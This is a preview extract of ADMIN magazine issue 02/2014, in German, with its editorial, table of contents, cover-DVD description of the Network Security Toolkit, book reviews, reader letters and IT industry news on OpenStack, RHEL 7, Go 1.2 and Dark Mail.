ADMIN Magazin Drahtlos glücklich - WLANs sicher nutzen mit IEEE 802.1x (Vorschau)

Jetzt 

mit 

Office 365 in 

der Powershell 

ADMIN 

IT-Praxis & Strategie 

WLANs sicher nutzen mit IEEE 802.1x 

Hadoop: Big 

Data für alle 

Drahtlos 

glücklich 

Cluster mit dem 

Windows Server 

< ••• >•••••••••••••• < •••> 

NST 18 

Network Security Toolkit 

02/2014 Februar 

Docker 

Container- 

Virtualisierung 

im Aufwind 

Authentifizieren mit Freeradius 

WPA in Enterprise-Qualität 

Wifi-Einbruchstest 

Offene WLANs 

OpenLDAP 

Großer Workshop zum 

Directory-Server 

NAS 

Netzwerk-Storage 

mit 10 GBit 

SmartOS 

Linux trifft Solaris 

www.admin-magazin.de 

Joblib 

Python parallelisiert 

D EUR 9,80 

A EUR 10,80 - BeNeLux EUR 11,25 

CH sfr 19,60 - E / I EUR 12,75 

4 196360 509805 02

Service 

Editorial 

3 

In der Gas-Ampel-Zeit 

Liebe Leserinnen und Leser, 

Es ist ja nicht das erste Mal. Das bislang letzte Mal ist sogar noch gar nicht 

lange her. Zumindest aus historischer Perspektive: Vor nur gut 100 Jahren 

hat zuletzt eine neue Technik den Alltag so grundlegend umgekrempelt wie 

heute das Internet. Damals war es das Auto. 

Erfunden im ausgehenden 19. Jahrhundert durchlebte es in den ersten 

Jahrzehnten des 20. eine turbulente Kindheit. Mit ihr begann das Zeitalter 

der Massenmobilität, der Welt als Dorf. Das Zeitalter des schnellen Gütertransports 

an Orte, die die Eisenbahn nicht erreichte. Das Zeitalter von Taxi 

und Omnibus. Schon Ende der 1920er Jahre gab es auf den Straßen West- und Mitteleuropas zum ersten 

Mal mehr Motorräder als Reitpferde, mehr Pkws als Kutschen, mehr Lkws als Fuhrwerke, mehr Autotaxis 

als Pferdedroschken und mehr Motoromnibusse als Pferdeomnibusse. 

Allerdings lebten die Verkehrsteilnehmer dieser Pionierzeit riskant, denn die technische Entwicklung 

vollzog sich schneller als die Gesellschaft sich daran anpassen konnte. So gab es anfangs nicht nur keine 

Kfz-Steuern und keine Autoversicherungen, keine Tankstellen und kein Werkstättennetz, sondern auch 

keinen TÜV, keinen Führerschein und keine Straßenverkehrsordnung. 

Als einen Vorläufer des Verkehrsrechts hatte man 1865 in England den Red Flag Act erlassen, demzufolge 

zur Unfallprävention jedem der damals noch dampfgetriebenen Wagen ein Helfer mit roter Flagge 

vorauslaufen musste. Nur wenige Jahre später ging die erste Ampel in Betrieb. Mit Gaslicht betrieben explodierte 

sie nach kurzer Zeit und bekam erst 1912 ihre zweite Chance, nachdem sich die Elektrifizierung 

durchgesetzt hatte. Die anfängliche Anarchie hatte jedoch ihren Preis: Das Risiko, im Straßenverkehr zu 

sterben, war – gemessen am jeweiligen Kraftfahrzeugbestand – 1907 mehr als 60mal so hoch wie 100 

Jahre später. 

Wir kennen nun seit ein paar Jahrzehnten das Internet. Aber mir scheint, wir leben noch in der Gas-Ampel-Zeit. 

Die Technik ist uns einen Schritt voraus. Das Risiko, im Netz von Kriminellen beraubt oder von 

Kriminalern belauscht zu werden, ist enorm. Wesentliche Aspekte der Internet-Praxis sind noch immer 

unreguliert, es fehlen Normen und Gesetze für digitale Bürgerrechte, für Datenschutz und gegen Datenmissbrauch, 

im Urheberrecht, zur Sicherung der Netzneutralität und beim eGovernment. Gerade der 

Staat negiert seine Vorbildfunktion und lässt seine Sicherheitsorgane machen, was möglich ist. 

Dem Auto folgten nach gut drei Jahrzehnten nach und nach Fahrbahnmarkierungen, Signalanlagen, Geschwindigkeitsbegrenzungen, 

einheitliche Verkehrszeichen und festgeschriebene Verkehrsordnungen. 

Im Internet sind nun mindestens ebenso viele Jahre verstrichen. Es ist an der Zeit. 

@ leserbriefe@admin-magazin.de www.facebook.com/adminmagazin www.twitter.com/admagz 


Admin 

Ausgabe 02-2014

Service 

4 Inhalt 



Wireless Security 

ab Seite 24 

n Login 

8 Bücher 

Steuerungstechnik und SDN. 

10 Leserbriefe 

E-Mails an die Redaktion. 

12 Branchen-News 

Neues von Software und Projekten. 

16 Admin-Story 

MongoDB und FreeIPA verbinden. 

n Netzwerk 

20 10-GBit-NAS 

NAS-Setup mit 10 GBit im Test. 

n Schwerpunkt 

24 Wireless Security 

Schwachstellen drahtloser Netze 

ausmerzen. 

28 WLAN-Grundlagen 

Sicherheit im WLAN: Fakten und 

Mythen. 

32 Freifunk und MobyKlick 

Öffentliche drahtlose Netzwerke in 

Deutschland. 

36 FreeRadius 

Authentifizierung zentralisiert. 

40 Anfällige WLAN-Router 

WLAN-Router für kleine Firmen 

und zu Hause sind durchweg 

unsicher. 

46 WLAN-Cracking 

WLAN-Sicherheit mit Python-Skripten 

erforschen. 

28 

WLAN-Grundlagen 

Wahrheit und Lüge bei der 

Absicherung von WLANs. 

Service 

3 Editorial 

4 Inhalt 

6 Heft-DVD 

114 Impressum und Vorschau 

Ausgabe 02-2014 

Admin 

www.admin-magazin.de

Service 

Inhalt 

5 

Neues beim verteilten 

58Ceph 

Dateisystem. 

Solaris trifft Linux: Virtualisierung 

mit 84SmartOS 

ZFS-Basis. 

Seite 6 

NST 18 

< ••• >•••••••••••••• < •••> 

Network Security Toolkit 

n Know-how 

52 Windows-Cluster 

Cluster sind mit mit Windows Server 

2012 R2 schnell installiert. 

58 Ceph 

Wohin geht die Reise beim Ceph- 

Objectstore? 

64 Hadoop 

Verteilte Verarbeitung großer 

Datenmengen im Cluster. 

74 Powershell für Office 365 

Das Cloud-Büropaket Office 365 

mit der Powershell verwalten. 

n Basics 

78 Das »sar«-Tool in Linux 

Performancewerte über längere 

Zeit sammeln und auswerten. 

82 ADMIN-Tipps 

Die monatlichen Tipps der 

Redaktion. 

n Virtualisierung 

84 SmartOS 

Virtualisierungsplattform auf der 

Grundlage von Solaris und Linux- 

KVM. 

90 Docker 

Renaissance der Container-Virtualisierung 

mit Docker. 

n Programmieren 

96 Python-Joblib 

Die Joblib hilft, Python-Programme 

zu parallelisieren. 

100 Programmieren mit Go 

Mit Schleifen und Unicode zum 

eigenen Prozess-Tool 

n FreeX 

106 OpenLDAP 

Ausführlicher Workshop zum freien 

Directory-Server: Installation, 

Konfiguration und Integration mit 

anderen Diensten. 

100Go 

Programmieren mit der 

Google-Sprache. 

74 

Office 365 

Powershell verwaltet 

das Cloud-Büropaket. 

Admin 

Ausgabe 02-2014

6 

Service 

Heft-DVD 

DVD kaputt? 

Wir schicken Ihnen kostenlos eine Ersatz-DVD 

zu. E-Mail genügt: info@admin-magazin.de 

Network Security Toolkit 18 

Heft-DVD 

Auf dem beiliegenden Datenträger finden Sie die Security- 

Distribution Network Security Toolkit. 

n Info 

Weiterführende Links und 

Informationen zu diesem 

Artikel finden Sie unter: 

www.admin-magazin.de/qr/31315 

n Security-Distribution basierend auf 

Fedora Linux 

n Live-DVD oder Installation 

n Webserver-Testing 

n Passwort-Cracker und 

-Generatoren. 

n Virenscanner 

n Crypto-Programme 

n Wireless-Tools 

n Geolocation für Netzwerkdaten 

Legen Sie einfach die DVD in das Laufwerk 

ein und starten Sie den Rechner. 

Möglicherweise müssen Sie noch im 

BIOS die richtige Boot-Reihenfolge 

einstellen. Danach können Sie die 

Security-Distribution starten oder auf 

dem Rechner als Betriebssystem installieren. 

n 

Bram janssens, 123RF 

Ausgabe 02-2014 Admin www.admin-magazin.de

8 

Login 

Bücher 

Galina Peshkova, 123RF 

Neue Bücher zur Feedback-Steuerung und zu Software-definierten Netzwerken 

Vorgelesen 

Diesen Monat im Buchstabentest: Steuerungstechnik für Computer 

und Software-definiertes Networking Oliver Frommel, Carsten Schnober 

Die Kontrolltheorie befasst sich mit der 

Steuerung und Optimierung automatischer 

Abläufe. Sie spielt beispielsweise 

bei der Regulierung von Heiz- und Kühlsystemen, 

automatischer 

Geschwindigkeitsanpassung 

von Autos und bei 

der Fließbandproduktion 

eine wichtige Rolle. In der 

Software-Technik kommen 

oft die gleichen Methoden 

etwa beim Caching und in 

Server-Farmen zur Regulierung 

der eingesetzten 

Rechner zum Zuge. 

Feedback Control, zu deutsch etwa die 

Rückkopplungskontrolle, bildet eine 

wichtige Komponente in der Optimierung 

solcher automatischen Abläufe. 

Das im O’Reilly-Verlag bisher nur auf 

Englisch erschienene Buch „Feedback 

Control for Computer Systems“ von 

Philipp K. Janert führt auf 300 Seiten in 

die Konzepte der Kontrolltheorie ein. 

Zunächst zeigt der Autor anhand von 

Beispielfällen, wie sich einzelne Parameter 

der eingesetzten Algorithmen 

auswirken und wie sich diese optimieren 

lassen. Beispiele aus der realen 

Welt verdeutlichen die Effekte, die auch 

n Feedback Control 

Philipp K. Janert 

Feedback Control for Computer Systems 

– Introducing Control Theory to 

Enterprise Programmers 

O’Reilly, 327 Seiten 

24,50 Euro (eBook: 17,99 Euro) 

ISBN: 978-1-4493-6169-3 

in Software-Systemen auftreten. Worker 

Queues (Arbeitsschlangen) etwa 

können aus theoretischer Perspektive 

aus echten Arbeitern wie aus Worker- 

Prozessen bestehen. 

Auf die Theorie des ersten 

Teils folgt im zweiten Teil die 

Praxis, die typische Softwaretechnische 

Probleme löst. Im 

dritten Teil veranschaulichen 

zahlreiche Anwendungsbeispiele 

mit vollständigen 

Beschreibungen und gut dokumentierten 

Python-Implementationen 

die Lösungen. 

SDN 

Und die Welle rollt weiter. Nachdem 

„Compute“ und „Storage“ weitgehend 

virtualisiert sind, steht als nächstes 

das Netzwerk an: „Software 

Defined Networking“. Ein Buch 

des O’Reilly-Verlags nimmt sich 

des Themas an und gibt einen 

Einblick in ein Gebiet, das sich 

in rasanter Entwicklung befindet. 

Die Autoren arbeiten beide 

beim Router-Hersteller Juniper 

und verfügen so über Praxisund 

Gremienerfahrung. 

Zuerst geben sie einen Überblick über 

grundsätzliche Aufgaben eines SDN- 

Stacks: Aufteilung in Control- und Data- 

Plane sowie das Management über 

standardisierte Protokolle und APIs. 

Auch die Probleme beschreiben die Autoren: 

Schwierigkeiten bei der Autokonfiguration 

eines Software-definierten 

Netzes, Ausfallsicherheit und Loadbalancing 

auf der Management-Seite. 

Im Mittelpunkt steht zunächst der 

OpenFlow-Standard, um den sich die 

Open Networking Foundation kümmert, 

der aber nach Meinung der Autoren 

nicht frei von Problemen ist. Eine 

Working Group arbeitet an einer Erweiterung 

des Standards namens FAWG, 

aber das ist noch nicht abgeschlossen. 

Dann gehen die Autoren die SDN-Controller 

der führenden Anbieter durch: 

VMware/Nicira, Big Switch, Juniper 

und Cisco, aber auch die Open-Source- 

Software vSwitch. In Wort und Bild 

stellen die Autoren die Ansätze einer 

theoretischen Ideallösung gegenüber, 

was zur Orientierung durchaus sinnvoll 

ist. Im Programmierteil stellt das Buch 

verschiedene Techniken vor, das Netzwerk 

per Code zu verwalten. Hier geht 

es bunt durcheinander und Formate 

wie JSON und XMPP stehen neben 

einem Framework wie Cloudstack. Weitere 

Kapitel beschäftigen sich mit der 

Datacenter-Technologie. 

Ist man mit dem Buch 

fertig, schwirrt einem der 

Kopf angesichts der Vielzahl 

verschiedener Technologien, 

Akronyme und 

komplexer Diagramme. 

Es von vorne bis hinten 

durchzulesen, erscheint 

wenig sinnvoll. Eher ist es 

für Leser gedacht, die sich gezielt über 

die Grundlagen von SDN und einzelne 

Ansätze dazu informieren wollen. n 

n SDN 

Thomas D. Nadeau, Ken Gray 

SDN – Software Defined Networks 

O’Reilly, 384 Seiten 

37,95 Euro 

ISBN-10: 1449342302 


Expert Panel 

Mobile Enterprise 

10.–14.03.2014 

Mobility-Trends der Unternehmens-IT 

Tägliches Vortragsprogramm 

Themenhighlights: 

Vorträge und Podiumsdiskussionen zu Mobile Strategy, Mobile Device Management, 

Mobile Security, Mobile Lösungen zu CRM / ERP / BI / Office, Service, Instandhaltung, 

Logistik, Softwareentwicklung & Systemintegration, u.v.m. 

www.cebit.de/de/mobile-enterprise 

Powered by 

Presented by 

pluspol.de 

Marketing Kommunikation Internet

Login 

10 Leserbriefe 

Leser-Feedback 

Leserbriefe 

Haben Sie Anregungen, Kritik oder Kommentare? Dann schreiben Sie an leserbriefe@admin-magazin.de. 

Die Redaktion behält es sich vor, die Zuschriften und Leserbriefe zu kürzen. Sie veröffentlicht alle Beiträge 

mit Namen, sofern der Autor nicht ausdrücklich Anonymität wünscht. 

Pavel Ignatov, 123RF 

Landscape 

Danke für den Artikel über Landscape; 

so kriegt man auch mal einen Einblick, 

was man für sein Geld so bekommen 

würde. Allerdings finde ich es sehr 

schade, dass Landscape (bisher?) nur 

mit Ubuntu funktioniert, da wäre mir in 

größeren Umgebungen die Gefahr von 

einem Vendor-Lock-In zu groß! Außerdem 

ist der Preis zu hoch, wenn man 

die anderen Services von Advantage 

nicht braucht. 

Red Hat bietet mit Spacewalk beispielsweise 

eine freie Variante von Satellite/ 

Red Hat Network an, quasi das Konkurrenzprodukt 

zu Landscape und Advantage 

von Red Hat. Damit kann man 

sich theoretisch kostenlos ein eigenes 

Red Hat Network bauen. Andererseits 

fand ich die Installation und Konfiguration 

von Spacewalk bei meinen ersten 

Versuchen damit so umständlich und 

schlecht dokumentiert, dass es wohl 

auch nicht wirklich als Alternative 

taugt. 

Charlotte S. (per E-Mail) 

Für Kommentare und Anregungen können Sie 

mit der Redaktion auch über die Facebook- und 

Google+-Seiten in Kontakt treten, die Sie unter 

[http:// facebook. com/ adminmagazin] und 

[http://google.com/+Admin-magazinDe] finden. 

vCenter 5.5 und Linux 

12/2013, Seite 100: Erst mal ein Lob für 

die tolle Mischung im ADMIN-Magazin. 

Die Gewichtung zwischen Linux, Windows 

und dem Rest passt gut. 

Da wir intensiv Linux (OES, eDirectory) 

nutzen, ist die Administration von VMware 

immer ein Problem gewesen. VMware 

Server 2.0 war über den Browser 

bedienbar, danach kam lange nichts 

mehr. vCenter 5.0 war da ein Leuchtstern 

am Himmel, da es sich mit Firefox 

ESR unter SLED 11 SP3 bedienen ließ. 

vCenter 5.5 erfordert dagegen Adobe 

Flash 10.5 und neuer! Bekanntlich ist 

die Entwicklung für Linux und Solaris 

mit 10.2 beendet. Dass VMware so ein 

tolles Produkt mit dem dusseligen 

Flash programmiert, ist ganz schlimm. 

Der einzige mir bekannte Ausweg ist 

die Nutzung von Chrome, da Google ein 

Abkommen mit Adobe hat. Auch Chromium 

geht nicht. 

Leider ist die Nutzung des aktuellen 

Chrome unter Suse Linux Entperise 

Server und Desktop 11 wegen nicht aufgelöster 

Abhängigkeiten nicht möglich. 

Das ist ein Rückschritt. Chrome Portable 

mit Wine, alte Chrome-Versionen 

und andere Versuche haben nur Zeit 

gekostet, aber keine Lösung gebracht. 

Jetzt muss ich doch wieder auf eine 

Windows-7-VM unter VirtualBox zurückgreifen. 

Mit Ubuntu 12.04 und neuer ist 

das natürlich kein Problem. 

Daher mein Wunsch: Im Artikelfazit 

sollte auch auf die Probleme mit unserem 

geliebten Linux eingegangen 

werden, wenn es dazu eine Verbindung 

gibt. 

Armin Geyer, Bundeszentrale für gesundheitliche 

Aufklärung 

Vielen Dank für das Feedback! Ich finde 

es auch äußerst unglücklich, dass 

vCenter eine aktuelle Flash-Version voraussetzt, 

die überhaupt nicht auf jeder 

Plattform unmittelbar zur Verfügung 

steht. Auch die von Ihnen geschilderten 

Folgeprobleme sind leider einigermaßen 

typisch. Das ist bedauerlicherweise auch 

der Grund, aus dem wir keine allgemeine 

Lösung anbieten können, da sich 

ein Artikel hoffnungslos in den Problemen 

mit Bezug auf Linux/Ubuntu/SLES, 

Chrome/Firefox/Chromium und vermutlich 

vielen weiteren verzetteln würde. 

Wie Sie bereits schreiben, hängen die 

Lösungswege von so vielen Parametern 

ab, dass der eigentliche Kern des Artikels 

damit nur noch am Ende in Beziehung 

steht. (Carsten Schnober) 

@ leserbriefe@admin-magazin.de www.facebook.com/adminmagazin www.twitter.com/admagz 


Special Conference: 

Open Source * 

* Früher: Forum Open Source 

10.–14.03.2014 

In Halle 6! 

Tägliches Vortragsprogramm 

Hintergrundinformationen aus erster Hand 

Themenhighlights: 

Automation / Konfigurationsmanagement, Security / Privacy, 

Cloud Computing / Virtualisierung, Treiber / Kernel, ARM-Architektur 

Auf der Bühne: Hochkarätige Vertreter der Open-Source-Szene, u.a. 

Klaus Knopper, 

KNOPPER.NET 

Jon „maddog“ Hall, 

Linux International 

Jim Lacey, 

Linux Professional 

Institute 

Änderungen vorbehalten. 

Powered by 

www.cebit.de/de/open-source 

Presented by 

pluspol.de 

Marketing Kommunikation Internet

12 

Login 

News 

Neue Software und Produkte 

Branchen-News 

Oracle ist OpenStack-Sponsor 

Oracle hat bekanntgegeben, dass es von nun an die OpenStack 

Foundation sponsern will und OpenStack in eine Vielzahl eigener 

Produkte zu integrieren gedenkt. Namentlich in Oracle Solaris, 

Oracle Linux, Oracle VM, Oracle Virtual Compute Appliance, Oracle 

Infrastructure as a Service, Oracle's ZS3 Series, Axiom Storage 

Systems und StorageTek Tape Systems will Oracle OpenStack integrieren. 

Darüber hinaus wird eine Kompatibilität mit Oracle Exalogic 

Elastic Cloud, Oracle Compute Cloud Service und Oracle Storage 

Cloud Service angestrebt. Weiter soll der OpenStack Object Storage 

Swift mit Storage Cloud Service kompatibel werden und über Open- 

Stack-APIs soll man dann auf ZFS Appliances, Pillar Axiom Storage 

Systems und StorageTek-Lösungen zugreifen können. 

Valve und Cloudius werden Mitglied 

der Linux Foundation 

Der Spielehersteller Valve ist nun Mitglied der Linux Foundation, 

die als nicht gewinnorientierte Einrichtung die Entwicklung 

des Linux-Kernels fördert. Valve, das mit Half Life 

seinen größten Erfolg feierte, arbeitet unter anderem an 

einer neuen Spielkonsole namens SteamOS, die auf Linux 

basiert. Firmenchef Gabe Newell hatte bereits bei der Vorstellung 

von Windows 8 seinen Unmut über das neue Windows-Betriebssystem 

geäußert und angekündigt, künftig 

stärker auf Linux zu setzen. Mittlerweile wurde dieser Plan 

in die Tat umgesetzt, indem Valve seine Spiele-Distributionsplattform 

Steam auf Linux portiert hat. Mit SteamOS 

soll dieses Engagement noch weiter ausgebaut werden. 

Trotz vieler positiver Stimmen aus der Linux-Welt findet 

Steam allerdings bisher nur wenig Zuspruch: Derzeit macht 

der Linux-Anteil der Steam-Benutzer nur etwa ein Prozent 

aus. Dies liegt vermutlich aber auch daran, dass bisher 

nur vergleichsweise wenige Spiele auch auf Linux portiert 

wurden. 

Neben Valve durfte die Linux Foundation auch die Firma 

Cloudius als neues Mitglied begrüßen, die sich zum Großteil 

aus Linux-Kernel-Entwicklern zusammensetzt. Allerdings 

ist deren Produkt kein klassisches Linux-System, sondern 

ein neues Betriebssystem namens OS v , das unter anderem 

auf FreeBSD basiert. OSv ist als minimalistisches System 

für Cloud-Systeme gedacht, funktioniert mit KVM und VMware 

und will den Overhead eines klassischen Betriebssytems 

reduzieren. 

OpenNebula 4.4 mit Storage 

Loadbalancing 

Die neuste Version 4.4 des Cloud-Computing-Framework OpenNebula 

erlaubt es, das für eine Cloud-Installation verfügbare Storage aufzuteilen 

und somit mehr Speicher zur Verfügung zu stellen, wenn er knapp 

wird. Außerdem lässt sich der Speicher mit dem neuen Mechanismus 

über mehrere Knoten verteilen. 

Für die Überwachung einer mit OpenNebula aufgebauten Cloud bietet 

die Software nun ein Push- statt des gewohnten Pull-Modells. Die Knoten 

senden also von selbst über das UDP-Protokoll ihre Daten an das 

Monitoring-System. Dies soll für bessere Performance sorgen, vor allem 

in Clouds mit einer Vielzahl von Nodes. In einem Test, der im OpenNebula-Blog 

präsentiert wird, haben die Entwickler damit alle zwei Minuten 

die überwachten Daten von 25 000 Knoten bezogen. 

Red Hat Enterprise Linux 7 Beta 

Nur drei Wochen nach der Veröffentlichung von 

Red Hat Enterprise Linux 6.5 (RHEL) hat Red 

Hat die erste Beta der Nachfolgeversion 7.0 

veröffentlicht. Sie verbessert unter anderem 

die Unterstützung für Linux-Container, in denen 

Anwendungen etwa mit Docker in isolierten 

Umgebungen laufen. Weiterhin enthält 

RHEL 7.0 das Dateisystem BtrFS als „Technology 

Preview“; Standarddateisystem bleibt 

XFS, das jetzt bis zu 500 TByte große Partitionen unterstützt. Auch die 

Zusammenarbeit mit Windows in heterogenen Umgebungen soll RHEL 

7.0 erleichtern. Dazu dient insbesondere die Integration von Samba 4.1 

mit Active-Directory-Unterstützung. 

Die Beta-Version von Red Hat Enterprise Linux 7.0 steht ab sofort zur 

Verfügung. Bestandskunden von Red-Hat können sie direkt herunterladen, 

andere müssen zunächst den Zugang beantragen. 


Neue Storage-Arrays von Dell 

Die Flash-fähigen Storage-Arrays Dell EqualLogic PS6210 

bieten eine bis zu dreimal höhere Performance als frühere 

Produktgenerationen. Die insgesamt sechs Modelle des neuen 

Storage-Arrays, darunter All-Flash-, hybride und All-HDD-Optionen, 

bieten mit einem leistungsfähigeren Storage-Controller 

einen erhöhten Datendurchsatz, eine bis zu dreimal höhere 

Performance und viermal mehr Speicher als frühere Produktgenerationen. 

Die Flash-fähigen Arrays können bis zu 2,4 Mal so viele virtuelle 

Desktops unterstützen und bieten eine doppelt so hohe 

OLTP-Datenbankleistung bei einer halb so hohen Latenz wie 

frühere Array-Generationen. Mit der skalierbaren Architektur 

können Unternehmen Ein- und Ausgabeengpässe minimieren 

und sind in der Lage, sehr große Datenmengen mit Flashfähigen 

SANs zu verarbeiten, die bis zu 1,2 Millionen IOPS bei 

einer Latenzzeit von weniger als zwei Millisekunden erreichen 

können. 

Die neue Version der Array-Software Dell-EqualLogic-Array- 

Software 7.0 bietet eine überarbeitete Bedienoberfläche, 

vereinfacht das Speichermanagement und besitzt neue regelbasierte 

Zugriffsmechanismen. 

Crowdfunding für Dark Mail 

erfolgreich 

Dark Mail heißt das Projekt, in dem sich einige Experten für 

abhörsichere E-Mail zusammengetan haben. Unter dem 

Schlagwort „E-Mail 3.0“ wollen sie als Konsequenz aus dem 

Abhörskandal rund um das Prism-Programm des US-Geheimdienstes 

NSA der Netzgemeinde einen E-Mail-Dienst mit Endezu-Ende-Verschlüsselung 

anbieten. 

Der Hauptinitiator für Dark Mail, Lavabit, hatte seinen Dienst 

dieses Jahr eingestellt, um einer Anordnung zur Kooperation 

mit dem Geheimdienst beim Abhören seiner Kunden bei 

gleichzeitigem Stillschweigen zuvorzukommen. Prominentester 

Nutzer von Lavabit war Edward Snowden, der den Prism- 

Skandal an die Öffentlichkeit gebracht hatte. 

Zur Finanzierung der abhörsicheren E-Mail 3.0 hat Lavabit eine 

Crowdfunding-Kampagne ins Leben gerufen. Etwa 200 000 

US-Dollar (knapp 150 000 Euro) setzten die Initiatoren als 

Finanzierungsziel an, die Community hat diese Grenze nun 

geknackt. 

Mit dem Geld will die Dark-Mail-Initiative Programmierer anheuern, 

die das Dark-Mail-Protokoll implementieren und als 

freie, quelloffene Software veröffentlichen. Das intern bereits 

existierende Programm Magma unterstützt die Mail-Protokolle 

SMTP, POP3 sowie IMAP4 und ist auch per HTTP über eine 

JSON-Schnittstelle zugänglich. 

Neben erhöhter Sicherheit auf der Basis von PGP-Verschlüsselung 

soll auch Benutzerfreundlichkeit eine wichtige Rolle 

spielen: Clients für verschiedene Betriebssysteme, auch für 

Smartphones und Tablets, sollen mit Dark Mail auch technisch 

weniger versierten Nutzern Zugang zur sicheren E-Mail ermöglichen.

14 

Login 

News 

Go 1.2 hilft bei testgetriebener und nebenläufiger Entwicklung 

Nach sieben Monaten Arbeit veröffentlichen die Entwickler 

der ursprünglich im Hause Google angestoßenen Programmiersprache 

Go ihre neue stabile Version 1.2. Diesen 

Rhythmus wollen die Go-Entwickler von nun an zumindest 

ungefähr einhalten und lange Release-Lücken wie die vierzehn 

Monate zwischen Go 1.0 und 1.1 künftig verhindern. 

Insgesamt enthält die neue Go-Version 1600 Änderungen, 

eingebracht von 116 Entwicklern. 

In Sachen Syntax haben die Entwickler in Go 1.2 unter anderem 

den Umgang mit nil-Pointern überarbeitet: Inkorrekte 

Speicherzugriffe lösen nun zuverlässig eine Panic aus, das 

Go-Pendant zu den Exceptions anderer Sprachen. Daneben 

lassen sich Slices nun mit drei statt nur zwei Indizes initialisieren, 

um mit dem dritten Index direkt die Slice-Kapazität zu 

definieren. 

Testgetriebene Entwicklung vereinfacht Go 1.2 mit der Einführung 

des »‐cover«-Flag für den »go test«-Befehl. Sie untersucht 

automatisch die Abdeckung des Quellcodes durch eine 

Test-Suite. 

Daneben haben die Go-Entwickler Performance-Verbesserung 

bei der Verwendung von Goroutines erzielt, den 

sogenannten leichtgewichtigen Threads der Sprache. Ein 

verbesserter Scheduler verhindert, dass einzelne Goroutines, 

die nicht enden, einen kompletten Thread lahmlegen 

können. Des Weiteren lässt sich die Höchstzahl erlaubter 

Threads eines Programms begrenzen, um eine Überlastung 

des Systems zu verhindern. Go-Einsteiger können die neue 

Version bereits auf dem Go Playground ausprobieren [1]. Wer 

ganz neu ist, kann auch eine einführende Tour [2] durch die 

Sprache machen. 

Google macht Konkurrenzprodukt zu Amazon Web Services öffentlich 

Der Suchmaschinenhersteller Google 

hat bekanntgegeben, dass sein Service 

Google Compute Engine ab sofort der 

Öffentlichkeit zur Verfügung steht; 

bislang konnten ihn nur ausgewählte 

Teilnehmer nutzen. Der Dienst steht 

in direkter Konkurrenz zum Amazon- 

Service AWS; beide bieten virtuelle Maschinen 

mit variabel konfigurierbarer 

Ausstattung an. 

Die Maschinen der Google Compute 

Engine verfügen über Prozessoren 

mit bis zu 16 Kernen und maximal 104 

GByte Arbeitsspeicher. Die Anzahl der 

gemieteten Maschinen lässt sich vom 

Anwender zur Laufzeit an seinen Bedarf 

anpassen. 

Bislang konzentrierte sich die Betriebssystemunterstützung 

auf Debian und 

CentOS, nun gehören auch Red Hat, 

Suse und FreeBSD zu den verfügbaren 

Systemen; weitere sollen folgen. 

Der Preis für eine Standardinstanz mit 

einem Kern und 3,75 GByte Arbeitsspeicher 

beträgt 10,4 US-Cent auf einem 

US-amerikanischen Host, 11,4 US-Cent 

pro Stunde auf einem europäischen. 

Der Preis der Standardinstanzen steigt 

proportional zur Anzahl der Kerne und 

RAM-Größe. 

Daneben gibt es Maschinen mit besonders 

viel Arbeitsspeicher oder CPUs 

sowie Micro- und Small-Instanzen, die 

sich zum Preis von 1,9 bis 5,9 US-Cent 

mit einem geteilten Kern und 0,6 beziehungsweise 

1,7 GByte Arbeitsspeicher 

begnügen müssen. Dazu kommen 

Gebühren für Speicherplatz (4 US-Cent 

pro GByte) und Netzwerkverkehr. 

Eine statische Netzwerkadresse gibt es 

gratis dazu, solange sie in Benutzung 

ist. Wer sie reserviert, aber nicht mit 

einer virtuellen Maschine nutzt, den 

belegt Google mit einem weiteren US- 

Cent Gebühr pro Stunde. 

Mirage OS 1.0 erschienen 

Wie das Xen-Projekt mitteilt, ist das 

Mirage OS jetzt in Version 1.0 verfügbar 

[3]. Es ist als minimalistisches Betriebssytem 

für Clouds gedacht, das auf dem 

Xen-Hypervisor basiert und ihn mit 

einer extra klein gehaltenen Laufzeitumgebung 

versieht. In der Cloud installierte 

Server-Anwendungen sind damit 

kleiner und laufen schneller als 

auf einem konventionellen Betriebssystem 

wie Linux. 

Geschrieben ist die Laufzeitumgebung 

in der funktionalen Programmiersprache 

Ocaml. Auch 

Protokolle wie TCP/IP, DNS, SSH, 

OpenFlow, HTTP, XMPP und ein 

Kommunikationsprotokoll für 

virtuelle Maschinen wurden in 

Ocaml implementiert. Die insgesamt 

mehr als 50 Bibliotheken 

sind im Mirage-Github-Repository 

zu finden. 

Als Beispiel für die Leistungsfähigkeit 

von Mirage OS wird in der Ankündigung 

ein Nameserver genannt, der deutlich 

mehr Anfragen pro Sekunde bedienen 

kann als der Unix-Nameserver BIND. 

Gleichzeitig ist die zugehörige virtuelle 

Maschine deutlich kleiner und erfordert 

weniger Programmcode. Zu Testzwecken 

lassen sich Mirage-Systeme auch 

als Benutzerprozesse unter Unix- 

Betriebssystemen wie Linux und OS 

X ausführen. Mirage lässt sich recht 

einfach über den Ocaml-Paketmanager 

installieren. 


WD bringt Kombifestplatte 

mit 1 TByte 

Solid State Disks sind schnell, aber teuer; deshalb 

enthält die neue WD Black 2 Dual Drive neben einem 

128 GByte großen SSD- einen 1 TByte großen HDD-Speicher. 

Als Preis empfiehlt der Hersteller 299 Euro. 

Die 2,5-Zoll-Hybridfestplatte lässt sich mit einem Kabel als normales Speichermedium 

in Laptops und Desktops einbauen und ansprechen. Dabei erscheint 

zunächst der SSD-Teil als eigene Partition, der Festplattenspeicher erscheint mit 

den passenden Windows-Treibern für Windows XP bis Windows 8.1 als unabhängige 

Partition. 

WD bewirbt sein neuestes Produkt mit der ungewöhnlichen Flexibilität, die dem 

User erlaubt, festzulegen, welche Daten auf welchem Bereich landen. Bei den 

meisten anderen Hybrid-Platten, die in der Regel einen erheblich sparsamer ausgestatteten 

SSD-Bereich enthalten, entscheidet ein in die Firmware integrierter 

Caching-Algorithmus über den Ort des Datenspeichers. Bei der WD Black 2 Dual 

Drive liegt diese Entscheidung beim Anwender. Das derzeit ausschließlich Windows-spezifische 

Design macht das Gerät allerdings unbrauchbar für Mac- und 

Linux-Benutzer. 

n Info 

Neueste nachrichten 

immer auf 






[1] Go Playground: [http://play.golang.org] 

[2] Go Tour: [http://tour.golang.org] 

[3] Mirage OS: [http://www.openmirage.org] 

Vertrauen ins Internet schwindet weiter 

Einer aktuellen BITKOM-Umfrage zufolge halten 80 Prozent 

der Internetnutzer in Deutschland ihre persönlichen Daten im 

Internet generell für unsicher: 33 Prozent halten sie für „völlig 

unsicher“ und 47 Prozent für „eher unsicher“. Im Juli, nach den 

ersten Snowden-Veröffentlichungen, hielten insgesamt erst 66 

Prozent der Internetnutzer ihre Daten für unsicher. Bei einer 

BITKOM-Umfrage im Jahr 2011 waren es nur 55 Prozent. 

